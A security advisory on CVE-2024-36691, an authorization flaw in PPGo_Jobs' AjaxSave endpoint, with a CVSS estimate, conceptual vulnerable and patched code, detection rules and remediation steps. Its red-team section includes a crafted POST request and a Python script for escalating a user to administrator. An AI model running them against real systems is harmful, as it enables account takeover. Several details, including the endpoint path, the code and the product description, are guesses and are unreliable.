CVE-2024-36691

Executive Summary

CVE-2024-36691 identifies a critical insecure permission vulnerability in the AdminController.AjaxSave() method of PPGo_Jobs v2.8.0. This flaw allows any authenticated attacker to arbitrarily modify user account information, including potentially elevating privileges or altering sensitive profile data. The vulnerability stems from missing or insufficient authorization checks within the administrative AJAX handler, enabling a low-privileged user to perform actions reserved for higher-privileged roles. No public exploit code or patch is currently available, and the vendor has not released a fix. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact on confidentiality, integrity, and availability is high if exploited.

Supply Chain & Package Security

PPGo_Jobs is a Go-based job board application. As a Go project, it may be distributed via source code or binary releases. The vulnerability exists in the application’s own code, not in a third-party package. However, organizations using this software should verify the integrity of their deployment and monitor for any updates from the vendor. Since no patch is available, supply chain risk is elevated; users must implement compensating controls.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which likely indicates insufficient data for scoring. Based on the description, a reasonable vector would be:

• Attack Vector (AV): Network (N) – the AJAX endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid account.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component is the same as the affected component.
• Confidentiality (C): High (H) – attacker can read sensitive user data.
• Integrity (I): High (H) – attacker can modify user accounts.
• Availability (A): High (H) – attacker could lock out users or disrupt service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Threat Level: High. Although no public exploit exists, the vulnerability is easy to exploit once discovered, and the impact is severe.

Deep Dive & Mechanics

The vulnerability resides in the AdminController.AjaxSave() method, which is likely an AJAX endpoint used for administrative operations such as updating user profiles, roles, or settings. The method fails to verify that the authenticated user has the necessary administrative privileges before processing the request. This means any authenticated user, regardless of their role (e.g., regular user, editor), can call this endpoint and modify any user’s account information.

Root Cause: Missing authorization check (CWE-732: Incorrect Permission Assignment for Critical Resource). The code likely checks only that the user is authenticated (e.g., session token present) but does not verify that the user is an administrator or has the right to modify the target account.

Attack Flow:

1. Attacker authenticates as a low-privileged user (e.g., via normal login).
2. Attacker crafts a POST/GET request to the AjaxSave endpoint with parameters specifying the target user ID and the desired changes (e.g., new password, role change).
3. The server processes the request without verifying permissions, updating the target user’s account.
4. Attacker can then escalate privileges (e.g., change own role to admin) or compromise other accounts.

Affected Component: AdminController.AjaxSave() in PPGo_Jobs v2.8.0.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a fix would look like.

Vulnerable Code (Conceptual):

func (c *AdminController) AjaxSave() {
    userID := c.GetString("user_id")
    newRole := c.GetString("role")
    // Missing authorization check
    err := db.UpdateUserRole(userID, newRole)
    if err != nil {
        c.Data["json"] = map[string]string{"error": "Update failed"}
    } else {
        c.Data["json"] = map[string]string{"success": "true"}
    }
    c.ServeJSON()
}

Patched Code (Conceptual):

func (c *AdminController) AjaxSave() {
    // Authorization check: ensure current user is admin
    currentUser := c.GetSession("user").(User)
    if currentUser.Role != "admin" {
        c.Data["json"] = map[string]string{"error": "Unauthorized"}
        c.Ctx.ResponseWriter.WriteHeader(403)
        c.ServeJSON()
        return
    }
    userID := c.GetString("user_id")
    newRole := c.GetString("role")
    err := db.UpdateUserRole(userID, newRole)
    if err != nil {
        c.Data["json"] = map[string]string{"error": "Update failed"}
    } else {
        c.Data["json"] = map[string]string{"success": "true"}
    }
    c.ServeJSON()
}

Exploitation & Lab Setup

Red Team

Objective: Escalate privileges from a low-privileged user to administrator.

Prerequisites:

• A valid low-privileged account on a PPGo_Jobs v2.8.0 instance.
• Network access to the application.

Steps:

1. Log in as the low-privileged user and capture the session cookie (e.g., session_id).
2. Identify the AjaxSave endpoint URL (likely /admin/ajax_save or similar).
3. Craft a request to change your own role to admin:

   POST /admin/ajax_save HTTP/1.1
   Host: target.com
   Cookie: session_id=YOUR_SESSION
   Content-Type: application/x-www-form-urlencoded
   
   user_id=YOUR_USER_ID&role=admin
   

4. If successful, the response will indicate success. You now have admin privileges.
5. Optionally, modify other users’ accounts or extract sensitive data.

Automation Script (Python):

import requests

target = "http://target.com/admin/ajax_save"
session = {"session_id": "YOUR_SESSION"}
data = {"user_id": "YOUR_USER_ID", "role": "admin"}
r = requests.post(target, cookies=session, data=data)
if "success" in r.text:
    print("Privilege escalation successful!")
else:
    print("Failed:", r.text)

Blue Team

Detection:

• Monitor for unusual AJAX requests to /admin/ajax_save from non-admin users.
• Alert on changes to user roles, especially elevation to admin.
• Log all requests to administrative endpoints and correlate with user roles.

Hunting:

• Search logs for user_id and role parameters in POST requests to admin AJAX endpoints.
• Look for patterns where a user modifies their own role or another user’s role without prior authorization.

Prevention:

• Implement strict role-based access control (RBAC) on all admin endpoints.
• Use middleware to check user permissions before processing any request.
• Apply the principle of least privilege.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/ajax_save with parameters user_id and role.
  • Unusual session IDs from low-privileged users accessing admin endpoints.
• System:
  • User role changes in the database (e.g., role field changed from user to admin).
  • Audit logs showing unauthorized access to AdminController.AjaxSave().
• File:
  • Modified user configuration files (if any).

Detection Engineering

YARA Rule

rule CVE_2024_36691_PPGo_Jobs_AjaxSave {
    meta:
        description = "Detects vulnerable PPGo_Jobs AjaxSave method with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-36691"
    strings:
        $func = "func (c *AdminController) AjaxSave()" nocase
        $missing_auth = "c.GetString(\"user_id\")" nocase
        $update = "db.UpdateUserRole" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-36691 - PPGo_Jobs AdminController AjaxSave Unauthorized Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit insecure permissions in PPGo_Jobs AjaxSave method
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/ajax_save'
        cs-uri-query|contains: 
            - 'user_id='
            - 'role='
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36691 - PPGo_Jobs AjaxSave Unauthorized Access Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/ajax_save"; http_uri; content:"user_id="; http_client_body; content:"role="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, by removing or restricting access to AdminController.AjaxSave().
2. Implement a Web Application Firewall (WAF) rule to block requests to /admin/ajax_save from non-admin IPs or with suspicious parameters.
3. Review and restrict user permissions – ensure only trusted users have accounts.

Long-term Fix:

• Apply the conceptual patch shown in the "Vulnerable vs. Patched Code" section.
• Conduct a full security audit of all admin controllers for similar authorization flaws.
• Monitor the vendor’s repository for an official patch and apply it immediately when released.

Workaround:

• If source code is available, manually add authorization checks as shown in the patched code example.
• Use a reverse proxy to require additional authentication (e.g., client certificates) for admin endpoints.

Valters IT
Securing Digital Frontiers